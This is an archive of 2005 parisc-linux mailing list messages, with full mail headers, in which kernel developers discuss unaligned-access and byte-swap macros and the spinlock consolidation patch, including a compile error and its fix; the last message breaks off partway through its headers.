Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9EB17298056;
	Sun,  5 Jun 2005 01:58:04 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18332-02; Sun, 5 Jun 2005 01:58:04 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 284B829803C; Sun,  5 Jun 2005 01:58:04 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44L0.0506041824180.15124-100000@netrider.rowland.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nsrQYh82eSEkQL6WZHQhaXN1IGRvb4Cc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25130

On Sat, Jun 04, 2005 at 06:59:53PM -0400, Alan Stern wrote:
> The point I was driving at is that we currently have separate APIs for 
> byte swapping and for unaligned access, and it would make a lot of sense 
> to combine them into a single API.  Knowing that the bytes have to be 
> swapped _and_ that the value isn't aligned correctly should allow us to 
> use more efficient code (in some cases) than a simple unaligned access 
> followed by a byte swap.

Ah ok. I missed that, sorry. *Some* architectures might be able
to provide more efficient implementations if they were combined.
But I don't think parisc is one of those. If I'm lucky, someone
will prove me wrong. :^)
Since many of the arches now use asm-generic/unaligned.h, I
can't say which other ones would benefit.

Just avoiding the trap is already a *huge* improvement. I'm alot
less worried about shaving a few cycles of here and there unless
it's really a critical code path (e.g. TLB miss handler or DMA
mapping support).

> I also don't understand your point about architectures that trap unaligned 
> accesses.

Architectures that trap unaligned accesses, *must* handle them.
If they don't, then networking won't work either.
I believe avoiding the trap is a good thing.

>   Let's put aside for one moment the question of whether it's 
> better to manually load the pieces of an unaligned value versus incurring 
> the overhead of a trap and a kernel fixup -- the arch-specific code is 
> supposed to know which one is better so that programmers don't have to 
> worry about it.  Given that unaligned accesses are implemented as traps, 
> what's wrong with, for example
> 
> #define get_be16(p)	be_to_cpu((u16) get_unaligned((u16 *) (p)))
> 
> This is always a valid possibility for the arch-specific implementation of 
> get_be16.  Another possibility is
> 
> static inline unsigned get_be16(void *p)
> {
> 	u8 *q = (u8 *) p;
> 
> 	return (((unsigned) q[0]) << 8) + ((unsigned) q[1]);
> }
> 
> which should in fact be the generic implementation.  It will work 
> regardless of whether unaligned accesses are trapped.

Agreed. But it's definitely suboptimal implementation.
parisc has very nice "helper" operations that allows one to
implement unaligned accesses in two or three (I forget) cycles.
Ie not much more than a regular load.

x86 also takes a 1 cycle penalty for misaligned loads.
parisc just makes that explicit in the asm.

> Is your main objection simply to the proliferation of access routines?  

Yes.

But I'm also trying to make it clear networking folks are trying
to set precedent that unaligned access macros should go away.
That is despite clear evidence of substantial performance improvements
on RISC arches.

> It's a valid point, but better too many than too few.  Furthermore it's 
> always possible to do as you said, just define get_be() and rely on the 
> caller to cast the pointer to the appropriate type.

True, but that's alot more invasive. I suspect the idea of consolidating 
swap macros will not get far for the same reason.

> > Not really. davem is right that it would clutter up certain parts
> > of the code (e.g. networking stack).
> 
> How so?  I don't think "get_be32(p)" is more clutter-ful than 
> "be32_to_cpu(get_unaligned(p))".  It's not even more clutter-ful than
> "be32_to_cpu(*p)".  Certainly it's better than
> 
> 	(p[0] << 24) + (p[1] << 16) + (p[2] << 8) + (p[3])
> 
> which occurs more often than I would like.

Yes, I agree - davem's objection is to the simple use of get_unaligned().

> > Don't forget all the above is a NOP on 90% (x86) of the computers.
> 
> So what?  The x86-specific implementation will expand to a NOP.

That's not the point. The point is 90% of the programmers looking
at the code just get distracted by the extra get_unaligned() call.

> > I'm annoyed that certain performance sensitive paths (e.g. TCP/IP) don't
> > use macros to access unaligned data. It affects my work (ia64)
> > and pet (parisc) architectures. But that's how it is and I don't
> > see it changing anytime in the near future.
> 
> Then where the macros aren't used the code would remain unchanged -- until
> someone decides to go in and clean it up.  That has nothing to do with the
> question of whether this would be a better way to implement routines for
> unaligned access.

Ok. I'm glad to hear someone else doesn't object to unaligned access
macros in general.

FWIW, I'm also 1/4 done (unsigned loads done, signed next, then stores)
with a kernel test module to generate as many variations of unaligned
accesses as possible. I've committed the user space equivalent
to cvs.parisc-linux.org/userspace/unaligned_test.c

Anyway...we are quite far off from my original patch...I've committed
it to the parisc-linux tree since I know it works for both parisc and mips.
It's also alot cleaner than the original code. I hope that finds it's
way into USB code as well unless there is good reason to reject it.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [mingo@elte.hu: [patch] spinlock consolidation, v2]
Date: Sun, 05 Jun 2005 19:13:27 +0000
Lines: 52
Approved: news@gmane.org
Message-ID: <42A34ED7.7040205@tiscali.be>
References: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
	<42A19697.8010501@tiscali.be>
	<20050604180302.GB19823@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624543 26812 80.91.229.3 (22 Nov 2014 02:49:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:03 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jun 2005 19:13:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 05 Jun 2005 21:13:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DABBB7D68C;
	Sun,  5 Jun 2005 13:13:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23312-05; Sun, 5 Jun 2005 13:13:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E07AA7D690;
	Sun,  5 Jun 2005 13:13:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7880A7D68B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Jun 2005 13:13:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23312-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 5 Jun 2005 13:13:31 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0D99A7D688
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Jun 2005 13:13:31 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 777E349418B; Sun,  5 Jun 2005 13:13:30 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by palinux.hppa (Postfix) with ESMTP id DB756494035;
	Sun,  5 Jun 2005 13:13:29 -0600 (MDT)
Original-Received: from [83.134.223.125] (helo=[83.134.223.125])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Df0Yq-0000Dz-7x; Sun, 05 Jun 2005 21:13:28 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <20050604180302.GB19823@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tCvRYsI3eSEkMr6WZHQhaXN1IGRvbwCU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25131

Hello Grant,

Grant Grundler wrote:
> On Sat, Jun 04, 2005 at 11:55:03AM +0000, Joel Soete wrote:
> ...
> 
>>Any way it failled to compile very early with following messages:
> 
> ...
> 
>>include2/asm/system.h:174: error: syntax error before "pa_tlb_lock"
> 
> 
> It's because of the obscene parisc interdependence between
> system.h, bitops.h, and spinlock.h.
> Mingo's patch will help break up that a bit better.
> 
> I'm working on fixing that up. Two of the commits I made
> last night are small steps in that direction.
> 
Much for record: after latest pa3 co (and a make clean), I still get the same error:
   gcc -Wp,-MD,arch/parisc/kernel/.asm-offsets.s.d  -nostdinc -isystem /usr/lib/gcc-lib/hppa-linux/3.3.5/include -D__KERNEL__ 
-Iinclude -Iinclude2 -I/usr/src/linux-2.6.12-rc5-pa3-050604/include -I/usr/src/linux-2.6.12-rc5-pa3-050604/arch/parisc/kernel 
-Iarch/parisc/kernel -Wall -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -ffreestanding -O2 
-fomit-frame-pointer -pipe -mno-space-regs -mfast-indirect-calls -ffunction-sections -march=1.1 -mschedule=7200 
-DKBUILD_BASENAME=asm_offsets -DKBUILD_MODNAME=asm_offsets -S -o arch/parisc/kernel/asm-offsets.s 
/usr/src/linux-2.6.12-rc5-pa3-050604/arch/parisc/kernel/asm-offsets.c
                       ^^^^^^^^^^^^^^
In file included from include2/asm/atomic.h:17,
                  from include2/asm/bitops.h:8,
                  from /usr/src/linux-2.6.12-rc5-pa3-050604/include/linux/bitops.h:77,
                  from /usr/src/linux-2.6.12-rc5-pa3-050604/include/linux/thread_info.h:20,
                  from /usr/src/linux-2.6.12-rc5-pa3-050604/include/linux/spinlock.h:51,
                  from /usr/src/linux-2.6.12-rc5-pa3-050604/include/linux/capability.h:45,
                  from /usr/src/linux-2.6.12-rc5-pa3-050604/include/linux/sched.h:7,
                  from /usr/src/linux-2.6.12-rc5-pa3-050604/arch/parisc/kernel/asm-offsets.c:31:
include2/asm/spinlock.h:11: error: syntax error before '*' token
include2/asm/spinlock.h:12: warning: function declaration isn't a prototype
include2/asm/spinlock.h: In function `__raw_spin_is_locked':
include2/asm/spinlock.h:13: error: `x' undeclared (first use in this function)
[...]

seems that's because spinlock_t (which became raw_spinlock_t and move to asm/spinlock_types.h) was removed from asm-parisc/system.h

Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] spinlock consolidation, v2
Date: Mon, 6 Jun 2005 00:05:12 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <20050606060512.GB30857@colo.lackof.org>
References: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624543 26815 80.91.229.3 (22 Nov 2014 02:49:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:03 +0000 (UTC)
Cc: Ingo Molnar <mingo@elte.hu>,
 parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jun 2005 06:02:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 06 Jun 2005 08:02:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A93007D681;
	Mon,  6 Jun 2005 00:01:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25685-08; Mon, 6 Jun 2005 00:01:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4BCA7D685;
	Mon,  6 Jun 2005 00:01:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 708337D680
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Jun 2005 00:01:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25630-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Jun 2005 00:01:38 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0824A7D67D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Jun 2005 00:01:38 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id C319049419E; Mon,  6 Jun 2005 00:01:37 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 891B149419D
	for <parisc-linux@parisc-linux.org>;
	Mon,  6 Jun 2005 00:01:37 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id BC688298056;
	Mon,  6 Jun 2005 00:05:14 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15600-08; Mon, 6 Jun 2005 00:05:12 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 61CBB29803C; Mon,  6 Jun 2005 00:05:12 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: t4PRYu9jeSEke76WZHQhaXN1IGRvbwCb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25132

On Fri, Jun 03, 2005 at 06:31:32PM +0100, Matthew Wilcox wrote:
> 
> Anyone have time to test this out?
> 
> ----- Forwarded message from Ingo Molnar <mingo@elte.hu> -----
> 
> Date:	Fri, 3 Jun 2005 17:40:29 +0200
> From:	Ingo Molnar <mingo@elte.hu>
> Subject: [patch] spinlock consolidation, v2
> 
> the latest version of the spinlock consolidation patch can be found at:
> 
>   http://redhat.com/~mingo/spinlock-patches/consolidate-spinlocks.patch

I've adapted parisc-linux to this patch and put my changes into
a patch that goes on top of Ingo's.
The patch is parked here:
	ftp://ftp.parisc-linux.org/patches/consolidate-spinlocks-parisc.patch

 arch/parisc/kernel/processor.c  |    3 ++-
 arch/parisc/kernel/smp.c        |   12 ++++++++----
 arch/parisc/lib/bitops.c        |    5 +++--
 include/asm-parisc/atomic.h     |   13 +++++++------
 include/asm-parisc/bitops.h     |    2 +-
 include/asm-parisc/cacheflush.h |    1 +
 include/asm-parisc/processor.h  |    3 ++-
 include/asm-parisc/spinlock.h   |    2 ++

More notes in the patch file.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] spinlock consolidation, v2
Date: Mon, 6 Jun 2005 09:36:27 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20050606073627.GA10387@elte.hu>
References: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
	<20050606060512.GB30857@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624544 26817 80.91.229.3 (22 Nov 2014 02:49:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:04 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jun 2005 07:37:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 06 Jun 2005 09:37:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 10E9E7D685;
	Mon,  6 Jun 2005 01:37:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26566-04; Mon, 6 Jun 2005 01:37:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF9147D68C;
	Mon,  6 Jun 2005 01:37:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 07BC47D685
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Jun 2005 01:37:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26338-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Jun 2005 01:37:17 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 914B87D681
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Jun 2005 01:37:17 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 2703F49418C; Mon,  6 Jun 2005 01:37:17 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mx1.elte.hu (mx1.elte.hu [157.181.1.137])
	by palinux.hppa (Postfix) with ESMTP id AA4FD494060;
	Mon,  6 Jun 2005 01:37:16 -0600 (MDT)
Original-Received: from chiara.elte.hu (chiara.elte.hu [157.181.150.200])
	by mx1.elte.hu (Postfix) with ESMTP id 4D3FA32426B;
	Mon,  6 Jun 2005 09:34:58 +0200 (CEST)
Original-Received: by chiara.elte.hu (Postfix, from userid 17806)
	id A350B1FC2; Mon,  6 Jun 2005 09:36:51 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20050606060512.GB30857@colo.lackof.org>
User-Agent: Mutt/1.4.2.1i
X-ELTE-SpamVersion: MailScanner 4.31.6-itk1 (ELTE 1.2) SpamAssassin 2.63
	ClamAV 0.73
X-ELTE-VirusStatus: clean
X-ELTE-SpamCheck: no
X-ELTE-SpamCheck-Details: score=-4.9, required 5.9,
	autolearn=not spam, BAYES_00 -4.90
X-ELTE-SpamScore: -4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bJjRYjg4eSEkSL6WZHQhaXN1IGRvbwCS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25133


* Grant Grundler <grundler@parisc-linux.org> wrote:

> > the latest version of the spinlock consolidation patch can be found at:
> > 
> >   http://redhat.com/~mingo/spinlock-patches/consolidate-spinlocks.patch
> 
> I've adapted parisc-linux to this patch and put my changes into
> a patch that goes on top of Ingo's.

i'm wondering, is the conversion to raw_spinlock_t absolutely necessary 
to get a working PARISC kernel? I feel a bit uneasy about using the raw 
spinlocks directly - they were not intended to be used like that, for 
the time being. Right now they are internal types. You should be able to 
use spinlock_types.h just as much to simplify your include file 
dependencies. (as long as you use the spinlock APIs only in .c files)

	Ingo
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] spinlock consolidation, v2
Date: Mon, 6 Jun 2005 09:12:32 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20050606151232.GA24437@colo.lackof.org>
References: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
	<20050606060512.GB30857@colo.lackof.org>
	<20050606073627.GA10387@elte.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624544 26822 80.91.229.3 (22 Nov 2014 02:49:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:04 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jun 2005 15:09:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 06 Jun 2005 17:09:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8C417D6B2;
	Mon,  6 Jun 2005 09:09:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29639-09; Mon, 6 Jun 2005 09:09:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE5357D6B3;
	Mon,  6 Jun 2005 09:09:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1BCB77D6AE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Jun 2005 09:08:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29639-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Jun 2005 09:08:57 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A57937D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Jun 2005 09:08:57 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 13F5A49418B; Mon,  6 Jun 2005 09:08:57 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
